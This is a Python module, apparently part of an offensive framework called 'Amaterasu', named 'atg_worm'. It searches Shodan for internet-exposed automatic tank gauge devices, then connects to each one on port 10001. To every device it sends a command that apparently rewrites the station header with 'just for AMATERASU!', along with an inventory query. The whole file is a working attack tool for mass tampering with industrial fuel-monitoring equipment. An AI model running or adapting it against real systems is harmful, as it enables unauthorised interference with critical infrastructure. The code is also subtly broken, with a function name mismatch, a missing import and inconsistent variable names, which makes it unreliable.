#coding: utf-8
#!/usr/bin/python3

from ruamel.yaml import YAML
from huepy import *
import shodan
import sys
import os

def atgworm_CONFIG():
	target = ''
	ShodanUse = ''

	while True:
		user = input(bold(red('\nAMATERASU ')) + '(' + bold(lightcyan('atg_worm')) + ')' + '> ')
		if user.startswith('set'):
			try:
				if user.split(' ')[1] == 'target' or user.split(' ')[1] == 'TARGET':
					target = user.split(' ')[2]
					print(bold(info('Target set: ' + target)))
				elif user.split(' ')[1] == 'shodanUse' or user.split(' ')[1] == 'SHODANUSE':
					shodanUse = user.split(' ')[2]
					print(bold(info('Use Shodan set: ' + user)))
				else:
					print(bold(bad('Error: option do not exist.')))
					print(bold(info('Select what to set.\n')))
					print(bold(info('target\tset target TARGET')))
					print(bold(info('use shodan\tset shodanUse True/False')))
			except IndexError:
				print(bold(info('Select what to set.\n')))
				print(bold(info('target\tset target TARGET')))
				print(bold(info('use shodan\tset shodanUse True/False')))
		elif user.startswith('show'):
			try:
				if user.split(' ')[1] == 'config':
					print()
					sConfig = {'Target': target,
					'Shodan': shodanUse}
					print(bold('CONFIG\t\t\tDESCRIPTION'))
					print(bold('------\t\t\t-----------'))
					for a, b in sConfig.items():
						if len(a) > 15:
							print(bold(a + '\t' + b))
						elif len(a) <= 6:
							print(bold(a + '\t\t\t' + b))
						else:
							print(bold(a + '\t\t' + b))
				elif user.split(' ')[1] == 'options':
					print()
					sOptions = {'Target': 'set target TARGET',
					'Use Shodan': 'set shodanUse True/False'}
					print(bold('OPTIONS\t\t\tDESCRIPTION'))
					print(bold('------\t\t\t-----------'))
					for a, b in sOptions.items():
						if len(a) > 15:
							print(bold(a + '\t' + b))
						elif len(a) <= 6:
							print(bold(a + '\t\t\t' + b))
						else:
							print(bold(a + '\t\t' + b))
				else:
					print(bold(bad('Error: option do not exist.')))
			except IndexError:
				print(bold(info('Select what to show.\n')))
				print(bold(info('Config\t\tshow config')))
				print(bold(info('Options\t\tshow options')))
		elif user.startswith('run'):
			try:
				atg_worm(target, ShodanUse)
			except Exception as e:
				print(bold(bad('Error: {}'.format(e))))
		elif user == '?' or user == 'help':
			sHelp = {'help | ?':'print this help message.',
			'show (config|options)':'show configuration or options',
			'set target': 'set target to scan',
			'set shodanUse': 'use Shodan for find IPs',
			'run':'execute module',
			'back':'back to menu',
			'exit':'quit from Amaterasu'}
			print()
			print(bold('COMMAND\t\t\tDESCRIPTION'))
			print(bold('-------\t\t\t-----------'))
			for a, b in sHelp.items():
				if len(a) > 15:
					print(bold(a + '\t' + b))
				elif len(a) <= 6:
					print(bold(a + '\t\t\t' + b))
				else:
					print(bold(a + '\t\t' + b))
		elif user == 'back':
			break
		elif user == 'exit':
			print(bold(good('Thanks for using Amaterasu.')))
			sys.exit()
		else:
			print(bold(bad('Command not found.')))

def atgworm(target, ShodanUse):
	config_file = open('core/config.yaml').read()
	yaml = YAML()
	config = yaml.load(config_file)
	api = config['API']

	ips = []

	if ShodanUse == 'True':
		shodan_api = shodan.Shodan(api[0]['Shodan'])
		try:
			results = shodan_api.search('I20100')
			print(bold(info('IPs found: ' + str(results['total']))))
			for r in results['matches']:
				ips.append(r['ip_str'])
		except Exception as e:
			print()
			print(bold(bad('Failed with Shodan: {}'.format(e))))
			pass
		except shodan.APIError as e:
			print(bold(bad('Error with API: {}'.format(e))))
			pass
	else:
		if target.endswith('.txt'):
			filelist = open(target, 'r')

			for i in filelist.readlines():
				i = i.strip()
				ips.append(i)

	if ips != None:
		for ip in ips:
			try:
				r = remote(ip, 10001)
				r.send('\x01'+'S60200 just for AMATERASU!\r\n')
				r.send('\x01'+'I20100\r\n')
				r.recvuntil(' ', drop=True)
				response = r.recv(4029)

				print(bold(info('Response: %s' % response)))
				r.close()
				print()
			except Exception as e:
				print(bold(bad('Error: {}'.format(e))))
				pass
	else:
		try:
			r = remote(target, 10001)
			r.send('\x01'+'S60200 just for AMATERASU!\r\n')
			r.send('\x01'+'I20100\r\n')
			r.recvuntil(' ', drop=True)
			response = r.recv(4029)

			print(bold(info('\tResponse: %s' % response)))
			r.close()
			print()
		except Exception as e:
			print(bold(bad('Error: {}'.format(e))))
			pass
